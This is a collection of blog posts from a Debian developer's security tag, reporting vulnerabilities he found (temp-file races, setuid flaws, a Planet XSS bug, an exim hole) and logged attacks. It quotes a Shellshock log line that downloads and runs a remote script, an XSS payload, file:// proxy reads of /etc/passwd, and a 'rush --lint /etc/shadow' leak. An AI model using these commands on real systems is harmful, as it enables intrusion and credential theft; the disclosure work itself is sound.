Steve Kemp's Blog Writings relating to Debian & Free Software

Entries tagged security

Paying attention to webserver logs

Tue, 2 Dec 2014 13:51:10 GMT

If you run a webserver chances are high that you'll get hit by random exploit-attempts. Today one of my servers has this logged - an obvious shellshock exploit attempt:

92.242.4.130 blog.steve.org.uk - [02/Dec/2014:11:50:03 +0000] \
"GET /cgi-bin/dbs.cgi HTTP/1.1" 404 2325 \
 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; wget http://146.71.108.154/pis ; \
curl -O http://146.71.108.154/pis;perl pis;rm -rf pis\"; node-reverse-proxy.js"

Yesterday I got hit with thousands of these referer-spam attempts:

152.237.221.99 - - [02/Dec/2014:01:06:25 +0000] "GET / HTTP/1.1"  \
200 7425 "http://buttons-for-website.com" \
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"

When it comes to stopping dictionary attacks against SSH servers we have things like denyhosts, fail2ban, (or even non-standard SSH ports).

For Apache/webserver exploits we have? mod_security?

I recently heard of apache-scalp which seems to be a project to analyse webserver logs to look for patterns indicative of attack-attempts.

Unfortunately the suggested ruleset comes from the PHP IDS project and are horribly bad.

I wonder if there is any value in me trying to define rules to describe attacks. Either I do a good job and the rules are useful, or somebody else things the rules are bad - which is what I thought of hte PHP-IDS set - I guess it's hard to know.

For the moment I look at the webserver logs every now and again and shake my head. Particularly bad remote IPs get firewalled and dropped, but beyond that I guess it is just background noise.

Shame.

| 14 comments.

 

luonnos viesti - 31 heinäkuu 2014

Thu, 31 Jul 2014 12:32:38 GMT

Yesterday I spent a while looking at the Debian code search site, an enormously useful service allowing you to search the code contained in the Debian archives.

The end result was three trivial bug reports:

#756565 - lives

Insecure usage of temporary files.

A CVE-identifier should be requested.

#756566 - libxml-dt-perl

Insecure usage of temporary files.

A CVE-identifier has been requested by Salvatore Bonaccorso, and will be added to my security log once allocated.

756600 - xcfa

Insecure usage of temporary files.

A CVE-identifier should be requested.

Finding these bugs was a simple matter of using the code-search to look for patterns like "system.*>.*%2Ftmp".

Perhaps tomorrow somebody else would like to have a go at looking for backtick-related operations ("`"), or the usage of popen.

Tomorrow I will personally be swimming in a loch, which is more fun than wading in code..

| 2 comments.

 

Did you know xine will download and execute scripts?

Sat, 19 Jul 2014 12:32:38 GMT

Today I was poking around the source of Xine, the well-known media player. During the course of this poking I spotted that Xine has skin support - something I've been blissfully ignorant of for many years.

How do these skins work? You bring up the skin-browser, by default this is achieved by pressing "Ctrl-d". The browser will show you previews of the skins available, and allow you to install them.

How does Xine know what skins are available? It downloads the contents of:

NOTE: This is an insecure URL.

The downloaded file is a simple XML thing, containing references to both preview-images and download locations.

For example the theme "Sunset" has the following details:

  • Download link: http://xine.sourceforge.net/skins/Sunset.tar.gz
  • Preview link: http://xine.sourceforge.net/skins/Sunset.png

if you choose to install the skin the Sunset.tar.gz file is downloaded, via HTTP, extracted, and the shell-script doinst.sh is executed, if present.

So if you control DNS on your LAN you can execute arbitrary commands if you persuade a victim to download your "corporate xine theme".

Probably a low-risk attack, but still a surprise.

| 5 comments.

 

So what can I do for Debian?

Wed, 16 Jul 2014 12:32:38 GMT

So I recently announced my intention to rejoin the Debian project, having been a member between 2002 & 2011 (inclusive).

In the past I resigned mostly due to lack of time, and what has changed is that these days I have more free time - primarily because my wife works in accident & emergency and has "funny shifts". This means we spend many days and evenings together, then she might work 8pm-8am for three nights in a row, which then becomes Steve-time, and can involve lots of time browsing reddit, coding obsessively, and watching bad TV (currently watching "Lost Girl". Shades of Buffy/Blood Ties/similar. Not bad, but not great.)

My NM-progress can be tracked here, and once accepted I have a plan for my activities:

  • I will minimally audit every single package running upon any of my personal systems.
  • I will audit as many of the ITP-packages I can manage.
  • I may, or may not, actually package software.

I believe this will be useful, even though there will be limits - I've no patience for PHP and will just ignore it, along with its ecosystem, for example.

As progress today I reported #754899 / CVE-2014-4978 against Rawstudio, and discussed some issues with ITP: tiptop (the program seems semi-expected to be installed setuid(0), but if it is then it will allow arbitrary files to be truncated/overwritten via "tiptop -W /path/to/file"

(ObRandom still waiting for a CVE identifier for #749846/TS-2867..)

And now sleep.

| 4 comments.

 

Sometimes reading code makes you scream.

Fri, 30 May 2014 12:32:38 GMT

So I've recently been looking at proxy-server source code, for obvious reasons. The starting point was a simple search of the available options:

~$ apt-cache search proxy filter
...
trafficserver - fast, scalable and extensible HTTP/1.1 compliant caching proxy server
ssh-agent-filter - filtering proxy for ssh-agent

Hrm? trafficserver? That sounds like fun. Lets look at the source.

cd /tmp
apt-get source trafficserver

Lots of code, but scanning it quickly with my favourite tool, grep, we find this "gem":

$ rgrep /tmp .
./mgmt/tools/SysAPI.cc:  tmp = fopen("/tmp/shadow", "w");
./mgmt/tools/SysAPI.cc:    system("/bin/mv -f /tmp/shadow /etc/shadow");

Is that really what it looks like? Really? Sadly yes.

There's lots of abuse of /tmpfiles in the code in mgmt/tools/, and although the modular structure took a while to understand the code that is compiled here ultimately ends up being included in /usr/bin/traffic_shell. That means it is a "real" security issue, allowing race-tastic local-attackers to do bad things.

Bug reported as #749846.

In happier news, the desk I was building is now complete. Pretty.

 

I feel like I should write about auditing software, but equally I feel unqualified - better people than me have already done so, e.g. David Wheeler.

Also I've done it before, and nobody paid attention. (Or rather the poeple that should consider security frequently fail to do so, which is .. frustrating.)

| 4 comments.

 

Some brief updates

Thu, 8 May 2014 12:32:38 GMT

Some brief notes, between tourist-moments.

Temporary file races

I reported some issues against the lisp that is bundled with GNU Emacs, the only one of any significance related to the fall-back uudecode option supported by tramp.el.

(tramp allows you to edit files remotely, it is awesome.)

Inadvertantly I seem to have received a CVE identifier refering to the Mosaic web-browser. Damn. That's an old name now.

Image tagging

A while back I wrote about options for tagging/finding images in large collections.

Taking a step back I realized that I mostly file images in useful hierarchies:

Images/People/2014/
Images/People/2014/01/
Images/People/2014/01/03-Heidi/{ RAW JPG thumbs }
Images/People/2014/01/13-Hanna/{ RAW JPG thumbs }
..

On that basis I just dropped a .meta file in each directory with brief notes. e.g:

name     = Jasmine XXX
location = Leith, Edinburgh
source   = modelmayhem
theme    = umbrella, rain, water
contact  = 0774xxxxxxx

Then I wrote a trivial perl script to find *.meta - allowing me to create IMAGE_123.CR2.meta too - and the job was done.

Graphical Applications

I'm currently gluing parts of Gtk + Lua together, which is an experiment to see how hard it is to create a flexible GUI mail client. (yeah.)

So far its easy if I restrict the view to three-panes, but I'm wondering if I can defer that, and allow the user to handle the layout 100%. I suspect "not easily".

We'll see, since I'm not 100% sold on the idea of a GUI mail client in the first place. Still it is a diversion.

Finland

I actually find myself looking forward to my next visit which is .. interesting?

| No comments

 

I've not commented on security for a while

Tue, 22 Apr 2014 12:32:38 GMT

Unless you've been living under a rock, or in a tent (which would make me slightly jealous) you'll have heard about the recent heartbleed attack many times by now.

The upshot of that attack is that lots of noise was made about hardening things, and there is now a new fork of openssl being developed. Many people have commented about "hardening Debian" in particular, as well as random musing on hardening software. One or two brave souls have even made noises about auditing code.

Once upon a time I tried to setup a project to audit Debian software. You can still see the Debian Security Audit Project webpages if you look hard enough for them.

What did I learn? There are tons of easy security bugs, but finding the hard ones is hard.

(If you get bored some time just pick your favourite Editor, which will be emacs, and look how /tmp is abused during the build-process or in random libraries such as tramp [ tramp-uudecode].)

These days I still poke at source code, and I still report bugs, but my enthusiasm has waned considerably. I tend to only commit to auditing a package if it is a new one I install in production, which limits my efforts considerably, but makes me feel like I'm not taking steps into the dark. It looks like I reported only three security isseus this year, and before that you have to go down to 2011 to find something I bothered to document.

What would I do if I had copious free time? I wouldn't audit code. Instead I'd write test-cases for code.

Many many large projects have rudimentary test-cases at best, and zero coverage at worse. I appreciate writing test-cases is hard, because lots of times it is hard to test things "for real". For example I once wrote a filesystem, using FUSE, there are some built-in unit-tests (I was pretty pleased with that, you could lauch the filesystem with a --test argument and it would invoke the unit-tests on itself. No separate steps, or source code required. If it was installed you could use it and you could test it in-situ). Beyond that I also put together a simple filesystem-stress script, which read/wrote/found random files, computes MD5 hashes of contents, etc. I've since seen similar random-filesystem-stresstest projects, and if they existed then I'd have used them. Testing filesystems is hard.

I've written kernel modules that have only a single implicit test case: It compiles. (OK that's harsh, I'd usually ensure the kernel didn't die when they were inserted, and that a new node in /dev appeared ;)

I've written a mail client, and beyond some trivial test-cases to prove my MIME-handling wasn't horrifically bad there are zero tests. How do you simulate all the mail that people will get, and the funky things they'll do with it?

But that said I'd suggest if you're keen, if you're eager, if you want internet-points, writing test-cases/test-harnesses would be more useful than randomly auditing source code.

Still what would I know, I don't even have a beard..

| 1 comment.

 

New GPG-key

Mon, 24 Mar 2014 12:32:38 GMT

I've now generated a new GPG-key for myself:

$ gpg --fingerprint 229A4066
pub   4096R/0C626242 2014-03-24
      Key fingerprint = D516 C42B 1D0E 3F85 4CAB  9723 1909 D408 0C62 6242
uid                  Steve Kemp (Edinburgh, Scotland) <steve@steve.org.uk>
sub   4096R/229A4066 2014-03-24

The key can be found online via mit.edu : 0x1909D4080C626242

This has been signed with my old key:

pub   1024D/CD4C0D9D 2002-05-29
      Key fingerprint = DB1F F3FB 1D08 FC01 ED22  2243 C0CF C6B3 CD4C 0D9D
uid                  Steve Kemp <steve@steve.org.uk>
sub   2048g/AC995563 2002-05-29

If there is anybody who has signed my old key who wishes to sign my new one then please feel free to get in touch to arrange it.

| No comments

 

Time to mix things up again

Thu, 20 Mar 2014 12:32:38 GMT

I'm currently a contractor, working for/with Dyn, until April the 11th.

I need to decide what I'm doing next, if anything. In the meantime here are some diversions:

Some trivial security issues

I noticed and reported two more temporary-file issues insecure temporary file usage in apt-extracttemplates (apt), and libreadline6: Insecure use of temporary files - in _rl_trace.

Neither of those are particularly serious, but looking for them took a little time. I recently started re-auditing code, and decided to do three things:

  • Download the source code to every package installed upon this system.
  • Download the source code to all packages matching the pattern ^libpam-, and ^libruby-*.

I've not yet finished slogging through the code, but my expectation will be a few more issues. I'll guess 5-10, given my cynical nature.

NFS-work

I've been tasked with the job of setting up a small cluster running from a shared and writeable NFS-root.

This is a fun project which I've done before, PXE-booting a machine and telling it to mount a root filesystem over NFS is pretty straight-forward. The hard part is making that system writeable, such that you can boot and run "apt-get install XX". I've done it in the past using magic filesystems, or tmpfs. Either will work here, so I'm not going to dwell on it.

Another year

I had another birthday, so that was nice.

My wife took me to a water-park where we swam like fisheseses, and that tied in nicely with a recent visit to Deep Sea World, where we got to walk through a glass tunnel, beneath a pool FULL OF SHARKS, and other beasties.

Beyond that I received another Global Knife, which has now been bloodied, since I managed to slice my finger open chopping mushrooms on Friday. Oops. Currently I'm in that annoying state where I'm slowly getting used to typing with a plaster around the tip of my finger, but knowing that it'll have to come off again and I'll get confused again.

Linux Distribution

I absolutely did not start working on a "linux distribution", because that would be crazy. Do I look like a crazy-person?

All I did was play around with GNU Stow, and ponder the idea of using a minimal LibC and GNU Stow to organize things.

It went well, but the devil is always in the details.

I like the idea of a master-distribution which installs pam, ssh, etc, but then has derivitives for "This is a webserver", "This is a Ruby server", and "This is a database server".

Consider it like task-selection, but with higher ambition.

There's probably more I could say; a new kitchen sink (literally) and a new tap have made our kitchen nicer, I've made it past six months of regular gym-based workouts, and I didn't die when I went to the beach in the dark the other night, so that was nice.

Umm? Stuff?

Have a nice day. Thanks.

| 2 comments.

 

A good week?

Sun, 29 Dec 2013 12:32:38 GMT

This week my small collection of sysadmin tools received a lot of attention; I've no idea what triggered it, but it ended up on the front-page of github as a "trending repository".

Otherwise I've recently spent some time "playing about" with some security stuff. My first recent report wasn't deemed worthy of a security update, but it was still a fun one. From the package description rush is described as:

GNU Rush is a restricted shell designed for sites providing only limited access to resources for remote users. The main binary executable is configurable as a user login shell, intended for users that only are allowed remote login to the system at hand.

As the description says this is primarily intended for use by remote users, but if it is installed locally you can read "any file" on the local system.

How? Well the program is setuid(root) and allows you to specify an arbitrary configuration file as input. The very very first thing I tried to do with this program was feed it an invalid and unreadable-to-me configuration file.

Helpfully there is a debugging option you can add --lint to help you setup the software. Using it is as simple as:

shelob ~ $ rush --lint /etc/shadow
rush: Info: /etc/shadow:1: unknown statement: root:$6$zwJQWKVo$ofoV2xwfsff...Mxo/:15884:0:99999:7:::
rush: Info: /etc/shadow:2: unknown statement: daemon:*:15884:0:99999:7:::
rush: Info: /etc/shadow:3: unknown statement: bin:*:15884:0:99999:7:::
rush: Info: /etc/shadow:4: unknown statement: sys:*:15884:0:99999:7:::
..

How nice?

The only mitigating factor here is that only the first token on the line is reported - In this case we've exposed /etc/shadow which doesn't contain whitespace for the interesting users, so it's enough to start cracking those password hashes.

If you maintain a setuid binary you must be trying things like this.

If you maintain a setuid binary you must be confident in the codebase.

People will be happy to stress-test, audit, examine, and help you - just ask.

Simple security issues like this are frankly embarassing.

Anyway that's enough: #733505 / CVE-2013-6889.

| No comments

 

Misc update.

Sun, 8 Jul 2012 12:32:38 GMT

I got a few emails about the status panel I'd both toyed with and posted. The end result is that the live load graphs now have documentation, look prettier, and contain a link to the source code.

Apart from that this week has mostly involved photographing cute cats, hairy dogs, and women in corsets.

In Debian-related news njam: Insecure usage of environmental variable was closed after about 7 months, and I reported a failure of omega-rpg to drop group(games) privileges prior to saving game-state. That leads to things like this:

skx@precious:~$ ls -l | grep games
-rw-r--r--   1 skx games   14506 Jul  8 15:20 Omega1000

Not the end of the world, but it does mean you can write to directories owned by root.games, and potentially over-write level/high-score files in other packages leading to compromises.

ObQuote: "Your suffering will be legendary, even in hell! " - Hellraiser II (Did you know there were eight HellRaiser sequels?)

| No comments

 

Some misc. updates

Fri, 13 Jan 2012 12:32:39 GMT

Security

Today I made available a 3.2.0 kernel for my KVM guest which has a bastardised version of the PID hiding patch configured:

So now on my guest, as myself, I can only see this:

steve@steve:~$ ls -l /proc/ | egrep ' [0-9]+$'
dr-xr-xr-x  7 steve users          0 Jan 13 17:22 15150
dr-xr-xr-x  7 steve users          0 Jan 13 17:29 15739
dr-xr-xr-x  7 steve users          0 Jan 13 17:29 15740
lrwxrwxrwx  1 root  root          64 Jan 13 17:20 self -> 15739

Running as root I see the full tree:

steve:~#  ls -l /proc/ | egrep ' [0-9]+$'
total 0
dr-xr-xr-x  7 root        root                 0 Jan 13 17:20 1
dr-xr-xr-x  7 root        root                 0 Jan 13 17:20 1052
dr-xr-xr-x  7 root        root                 0 Jan 13 17:20 1086
dr-xr-xr-x  7 root        root                 0 Jan 13 17:20 1101
dr-xr-xr-x  7 root        root                 0 Jan 13 17:20 1104
dr-xr-xr-x  7 root        root                 0 Jan 13 17:21 1331
dr-xr-xr-x  7 pdnsd       proxy                0 Jan 13 17:21 14409
dr-xr-xr-x  7 root        root                 0 Jan 13 17:21 14519
..

This (obviously) affects output from top etc too. It is a neat feature which I think is worth having, but time will tell..

mod_ifier

A long time ago I put together an Apache module which allowed the evaluation of security rules against incoming HTTP requests. mod_ifier was largely ignored by the world. But this week it did receive a little attention.

The recent rash of Hash Collision attacks inspired inspired a fork with parameter filtering. Neat.

Otherwise nothing too much to report - though I guess I didn't actually share the link to the RESTful file store I mentioned previously. Should you care you can find it here:

ObQuote: "I saw a man, he danced with his wife" - Chicago, Frank Sinatra

| 2 comments.

 

So I chose fabric and reported a bug..

Mon, 6 Jun 2011 12:32:39 GMT

When soliciting for opinions, recently, I discovered that the python-based fabric tool was not dead, and was in fact perfect for my needs.

During the process of getting acquainted with it I looked over the source code, it was mostly neat but there was a trivial (low-risk) symlink attack present.

I reported that as #629003 & it is now identified more globally as CVE-2011-2185.

I guess this goes to show that getting into the habit of looking over source code when you install a new package is a worthwhile thing to do; and probably easier than organising a distribution-wide security audit </irony>.

In other news I'm struggling to diagnose a perl segfault, when running a search using the swish-a perl modules. Could it be security worthy? Possibly. Right now I just don't want my scripts to die when I attempt to search 20Gb of syslog data. Meh.

ObQuote: "You're scared of mice and spiders, but oh-so-much greater is your fear that one day the two species will cross-breed to form an all-powerful race of mice-spiders who will immobilize human beings in giant webs in order to steal cheese. " - Spaced.

| No comments

 

Why I lose interest in some projects.

Fri, 18 Feb 2011 12:32:39 GMT

Some projects have historically sucked; they've been incomplete, they've been hard to use, they've had poor documentation, or they've had regular security issues.

Over time projects that started off a little poorly can, and often do, improve. But their reputation is usually a long time in improving.

For me? Personally? PHPMyAdmin is a security nightmare. So while it is nice to read about it gaining the ability to be themed, and even receiving submissiosn from users (a rare thing for projects to receive such external contributions) I just find it hard to care.

I see PHPMyAdmin written in a blog, in a news article, or on a users machine and I just think :

  • "PHPMyAdmin? That's that thing that has security problems."

Harsh. Unfair. Possibly no longer true. But I do tend to stick to such judgements, and I'm sure I'm not alone.

Ideally people wouldn't be dogmatic, would be open-minded about re-evaluation situations. In practise I'm probably not such a unique little snowflake, and there are probably a great many people to this day who maintain views which that are based on historical situations than the current-day reality:

  • Java is slow and verbose.
  • Perl is line-noise.
  • Sendmail is an insecure mess.
  • ...

Anyway. PHPMyAdmin? I'm sorry for singling you out, even with your fancy themes, language translations, and other modern updates. It's just a name that conjours deamons for me. Though I'm sure there are a great number of people who love it to pieces.

ObQuote: "You don't want to know my name. I don't want to know your name. " - Spartacus

| 7 comments.

 

The remote root hole in exim4 is painful

Sun, 12 Dec 2010 12:32:39 GMT

Recently I noticed a report of an alleged remote root security compromise of a machine, via the exim mailserver.

At the time I wasn't sure how seriously to take it, but I followed updates on the thread and it soon became clear that there was a major problem on our hands.

It later became obvious that there were two problems:

CVE-2010-4344

A remote buffer overflow, allowing the execution of arbitrary code as the user Debian-exim.

CVE-2010-4345

A privilege escelation allowing the attacker to jump from running code as Debian-exim to running code as root.

Trivial exploits are floating around the internet - and we were seeing this bug be exploited in the wild as early as yesterday afternoon.

Although I can feel somewhat smug that my own personal server is running qpsmtpd ahead of exim it's still a wake-up call, and this hole has the potential to significantly expand available botnets - it is probably only a matter of days hours until we see worms taking advantage of the flaw.

ObPlug: I've put together an updated version of exim4 for etch - if you're still running etch then you don't have any official security support (timely upgrading is obviously preferred) and it might be useful to have more folk pointed at that..

ObQuote: "We're all going to die down here" - Resident Evil.

| 7 comments.

 

jQuery in use upon this blog

Mon, 30 Aug 2010 12:32:38 GMT

Blog Update

I've just updated the home-grown javascript I was using upon this blog to be jQuery powered.

This post is a test.

I'll need to check but I believe I'm almost 100% jQuery-powered now.

AJAX Proxies

It is a well-known fact that AJAX requests are only allowed to be made to the server the javascript was loaded from. The so-called same-origin security restriction.

To pull content from other sites users are often encouraged to write a simple proxy:

  • http://example.com/ serves Javascript & HTML.
  • http://example.com/proxy/http://example.com allows arbitrary fetching.

Simples? No. Too many people write simple proxies which use PHP's curl function, or something similar, with little restriction on either the protocol or the destination of the requested resource.

Consider the following requests:

  • http://example.com/proxy.php?url=/etc/passwd
  • http://example.com/proxy.php?url=file:///etc/passwd

If you're using some form of Javascript/AJAX proxy make sure you test for this. (ObRandom: Searching google for inurl:"proxy.php?url=http:" shows this is a real problem. l33t.)

ObQuote: "You're asking me out? That's so cute! What's your name again? " - 10 things I hate about you.

| No comments

 

Hack the planet!

Tue, 22 Sep 2009 12:32:38 GMT

Recently I was viewing Planet Debian and there was an entry present which was horribly mangled - although the original post seemed to be fine.

It seemed obvious to me that that some of the filtering which the planet software had applied to the original entry had caused it to become broken, malformed, or otherwise corrupted. That made me wonder what attacks could be performed against the planet aggregator software used on Planet Debian.

Originally Planet Debian was produced using the planet software.

This was later replaced with the actively developed planet-venus software instead.

(The planet package has now been removed from Debian unstable.)

Planet, and the Venus project which forked from it, do a great job at scrutinising their input and removing malicious content. So my only hope was to stumble across something they had missed. Eventually I discovered the (different) filtering applied by the two feed aggregators missed the same malicious input - an image with a src parameter including javascript like this:

<img src="javascript:alert(1)">

When that markup is viewed by some browsers it will result in the execution of javascript. In short it is a valid XSS attack which the aggregating software didn't remove, protect against, or filter correctly.

In fairness it seems most of the browsers I tested didn't actually alert when viewing that code - but as a notable exception Opera does.

I placed a demo online to test different browsers:

If your browser executes the code there, and it isn't Opera, then please do let me know!

The XSS testing of planets

Rather than produce a lot of malicious input feeds I constructed and verified my attack entirely off line.

How? Well the planet distribution includes a small test suite, which saved me a great deal of time, and later allowed me to verify my fix. Test suites are good things.

The testing framework allows you to run tiny snippets of code such as this:

# ensure onblur is removed:
HTML( "<img src=\"foo.png\" onblur=\"alert(1);\" />",
      "<img src=\"foo.png\" />" );;

Here we give two parameters to the HTML function, one of which is the input string, and the other is the expected output string - if the sanitization doesn't produce the string given as the expected result an error is raised. (The test above is clearly designed to ensure that the onblur attribute and its value is removed.)

This was how I verified initially that the SRC attribute wasn't checked for malicious content and removed as I expected it to be.

Later I verified this by editing my blog's RSS feed to include a malicious, but harmless, extra section. This was then shown upon the Planet Debian output site for about 12 hours.

During the twelve hour window in which the exploit was "live" I received numerous hits. Here's a couple of log entries (IP + referer + user-agent):

xx.xx.106.146 "http://planet.debian.org/" "Opera/9.80
xx.xx.74.192  "http://planet.debian.org/" "Opera/9.80
xx.xx.82.143  "http://planet.debian.org/" "Opera/9.80
xx.xx.64.150  "http://planet.debian.org/" "Opera/9.80
xx.xx.20.18   "http://planet.debian.net/" "Opera/9.63
xx.xx.42.61   "-"                         "gnome-vfs/2.16.3
..

The Opera hits were to be expected from my previous browser testing, but I'm still not sure why hits were with from User-Agents identifying themselves as gnome-vfs/n.n.n. Enlightenment would be rewarding.

In conclusion the incomplete escaping of input by Planet/Venus was allocated the identifier CVE-2009-2937, and will be fixed by a point release.

There are a lot of planets out there - even I have one: Pluto - so we'll hope Opera is a rare exception.

(Pluto isn't a planet? I guess thats why I call my planet a special planet ;)

ObFilm: Hackers.

| 6 comments.

 

Nobody touches the second shelf but me.

Sat, 27 Jun 2009 12:32:38 GMT

It seems the IMAP client crash I accidentally discovered in Thunderbird/Icedove was already known.

My report is a duplicate of a bug which was previously reported in 2007. Oops.

ObFilm: The Lost Boys

| 2 comments.

 

I'm gonna forget this conversation ever took place.

Wed, 24 Jun 2009 12:32:38 GMT

Recently I mentioned I'd been hacking about with a simple IMAP server.

Yesterday I was working on it some more, because the message store I've been testing against contains about 8 million messages and the damn thing is too slow.

During the course of some tweaking I discovered something interesting, every time a specific IMAP client connected to my server it crashed...

I spent a while fiddling around with backtraces and suchlike, but the upshot is I'm still not sure where the client crashes, but I've mailed some details to a few people to see if we can get it narrowed down.

I guess this counts as an accidental security issue. I wonder if I'll be able to collect a bounty? (Not that I'm bitter about past bounty-worthy reports being ignored ;)

Anyway interesting times, when I least expected them.

Mostly this post is being made to test a new release of the chronicle blog compiler - which now allows gravitars and has improved display of comments as demonstrated here.

ObFilm: Rambo First Blood Part II

| 1 comment.

 

I may have kept you chained up in that room but it was for your own good.

Sat, 21 Mar 2009 12:32:38 GMT

Last week I resigned from my position as member of the Debian Security Team.

Historically several Debian teams have had members inactive for months and years at a time, and I'd rather be removed of my own volition than end up listed but inactive like that.

It's been a pleasure working with all members of the team, past and current (especially Joey), and who knows I might return in the future.

If you're interested in security work then getting involved isn't difficult. It just takes time, patience, and practise.

ObFilm: The Goonies

| No comments

 

Have you been following that man?

Thu, 27 Nov 2008 12:32:38 GMT

meta-hacking

I've had a lot of fun over the past few years detecting and fixing XSS attacks - a few months ago compromising several thousand user-accounts belonging to a particular niche social networking site and then more recently experimenting with XSS issues upon a popular software developer's advocate blog.

One thing I've been wondering about recently is meta-XSS attacks.

Consider the LKML (linux kernel mailing list). This list receives lots of long patches, submitted by email, which are copied verbatum to various sites. For example if I mailed an interesting patch to LKML chances are it would get posted to:

(Obviously the challenge here is to make a patch sufficiently interesting that it received more than usual coverage.)

Do each of those sites HTML-encode patches? In general they do, certainly the ones I looked at had code like this:

#include &lt;linux.h&gt;
...
...

But I'm certain that not all sites do so. I'm also pretty sure there are interesting avenues to explore here, and the general idea of indirectly attacking a specific target is ripe for exploration.

Anyway I'm probably not the person to go playing in the field these days; I don't have the time. But it is certainly interesting to think about.

ObFilm: Dirty Harry

| No comments

 

Well, are you sure you're using that thing correctly?

Fri, 31 Oct 2008 12:32:38 GMT

In response to the comments left on my previous entry about executable configuration files I've changed the way that tscreen works.

There is still support for using an arbitrary shell script or binary as a configuration file, but you must be explicit to enable it:

#
#  Load the dynamic section, if it exists.
#
if -x ~/.tscreen.dynamic  'source ~/.tscreen.dynamic|'

The change here is the trailing "|" on the argument to the source command:

source ~/foo/bar

Opens ~/foo/bar and parses the contents. (Assuming it exists.)

source ~/bin/blah|

Executes ~/bin/blah and parses the output. (Assuming it exists)

I still see no security risk with the previous setup, but I'm happy to apply a little misdirection if that makes people feel better.

ObFilm: Ghostbusters

| 4 comments.

 

I still don't know why I'm here

Wed, 14 May 2008 12:32:38 GMT

I wasn't going to comment on the recent openssl security update, because too many people have already done so.

Personally I thought that Aigars Mahinovs made the best writeup I've seen so far.

However I would like to say that having 20+ people all mailing security[at]debian.org to say the webpage we referenced in the security advisory is currently blank is not useful, or ask for details already released in the advisory they replied to, or ask for even more details is not so much fun.

Having people immediately start mailing questions like "Huh? What can I do" is only natural, but you can't expect a response when things are as hectic as they have been recently. Ideally people would sit on their hands and bite their tongues. Realistically that isn't going to happen, and realistically this post will make no difference either...

Had the issue not leaked to unstable so quickly (and inappropriately IMHO) then we'd have had a little more time. But once an issue is reported you need to coordinate with other distributions, and etc. Handling something as severe as this is not fun, and random mails from users are a distraction, and a resource-hog.

I should say I was not in any way involved in the discovery, the reporting, the preparation of the fix(es), or the releasing of the update. I knew it was coming, but everybody else seemed to have it well in hand. When there are mails going back and forth for 5+ days with ever-growing Cc: lists, and mailing lists being involved I figure one more cook wouldn't be useful.

So in conclusion:

a. Bad hole.

b. Fixing this will take years, probably.

c. 50+ mails to the security team within an hour of the advisory going public complaining of missing information is not helpful, not useful, and quite irritating. (Albeit understandable).

d. People who don't know the details of an attack, or issue, shouldn't speculate and start panic, fear, and confusion. Esp. when details are a little vague.

e. I still like pies.

Once again thanks to everybody who was involved and put in an insane amount of work. Yes this is only the start - our users have to suffer the pain of regenerating everything - but we did good.

Really. Debian did good.

It might not look like it right now, but it could have been so much worse, and Debian did do good.

ObQuote: X-Men: The Last Stand

| 7 comments.

 

Adopt a less marital tone.

Sun, 13 Apr 2008 12:32:38 GMT

If you upload a new package to the Debian archive which contains a setuid or setgid binary please please ask for a security audit, or carry out one yourself.

I certainly accept that the security audit project webpages are not terribly current, and the mailing list is essentially dead, but there are people, such as myself, who would gladly look at your package. All you have to do is ask.

When I see two packages in testing with trivialy obvious security bugs it just makes me wonder why we bother.

I'm going to take this chance to restate my hardline position on package maintainence - even though it might not be directly applicable - If you cannot program/debug/handle the language a package is developed in you shouldn't maintain it.

Too often I've seen signs of this; somebody maintaining a C-based program but unable to program in C. Why?

I wonder if we could have a policy / guideline that any new setuid/setgid application must have at least two maintainers, or a documented audit prior to acceptance? Hard to manage but I think it would be useful even if it didn't catch everything. Some bugs such as #475747 (lovely number!) are trivial to discover.

ObQuote: Dangerous Liaisons

| No comments

 

It brings on many changes, and I can take or leave it as I please

Thu, 15 Nov 2007 12:32:38 GMT

On Tuesday I released a new version of rinse which now supports Fedora Core 8.

On Wednesday I rebuilt xen-unstable several times, and reported a vaguely security relevant issue against the Exaile music player. I flagged that as important, but I'm not really sure how important it should be. True it works. True it requires DNS takeover, or similar, to become a practical attack, but .. serious or not?

Today I'm wondering about "hiding" messages in debian/changelog files. Each changelog entry includes the time & date of the new revision. I tend to pick the last two digits of the timestamp pretty much as random. (ie. the hours and minutes are always correct, but the seconds is a random value).

Given two digits which may be manipulated in the range 0-59 I'm sure a few small messages could be inserted into a package. But the effort would be high. (Hmmm timezone offset too?)

And that concludes todays entry.

| No comments

 

It's been seven hours and fifteen days

Fri, 26 Oct 2007 12:32:38 GMT

I made a new release of the Chronicle blog compiler the other day, which seems to be getting a suprising number of downloads from my apt repository.

The apt repository will be updated shortly to drop support for Sarge, since in practise I've not uploaded new things there for a while.

In other news I made some new code for the Debian Administration website! The site now has the notion of a "read-only" state. This state forbids new articles from being posted, new votes being cast, and new comments being posted.

The read-only state is mostly designed for emergencies, and for admin work upon the host system (such as when I'm tweaking the newly installed search engine).

In more coding news I've been updating the xen-shell a little recently, so it will shortly have the ability to checksum the filesystem of Xen guests - and later validate them. This isn't a great security feature because it assumes you trust dom0 - and more importantly to checksum files your guest must be shutdown.

However as a small feature I believe the suggestion was an interesting one.

Finally I've been thinking about system exploitation via temporary file abuse. There are a couple of cases that are common:

  • Creation of an arbitrary (writeable) file upon a host.
  • Creation of an arbitrary (non-writable) file upon a host.
  • Truncation of an existing file upon a host.

Exploiting the first to go from user to root access is trivial. But how would you exploit the last two?

Denial Of Service attacks are trivial via the creation/truncation of /etc/nologin, /etc/shadow, (or even /boot/grub/menu.lst! But gaining privileges? I can't quite see how.

Comments welcome!

| No comments

 

Oh, didnt i, didnt i, didnt I see you cryin?

Mon, 8 Oct 2007 12:32:38 GMT

Curse you Debian! Your programs are too secure...

So I was looking over some setgid binaries last night, seeing if there were any obvious security bugs.

Up popped omega-rpg - a fun game I've recently been playing. Unfortunately it is mostly OK:

  • The insecure support for save-game-compression is disabled for Debian.
  • The use of environmental variables is safe.
  • The use of low-memory detection is disabled on non-MSDOS systems.
  • The console-based input doesn't succumb to badness if you resize your terminal to allow >80 character input.

The only thing that I can is persuade the game to die with a SIGSEG if I manaully edit a save-game file, then load it. I'm sure with care and patience it could be coerced into running shellcode.

In theory this is a security hole. In practise it is hard to take seriously!

On the other hand I'm not convinced the game should be setgid(games)..

| No comments

 

Spiral Logo

Search

Recent Posts

Recent Tags

Links

RSS Feed

  • Subscribe to feed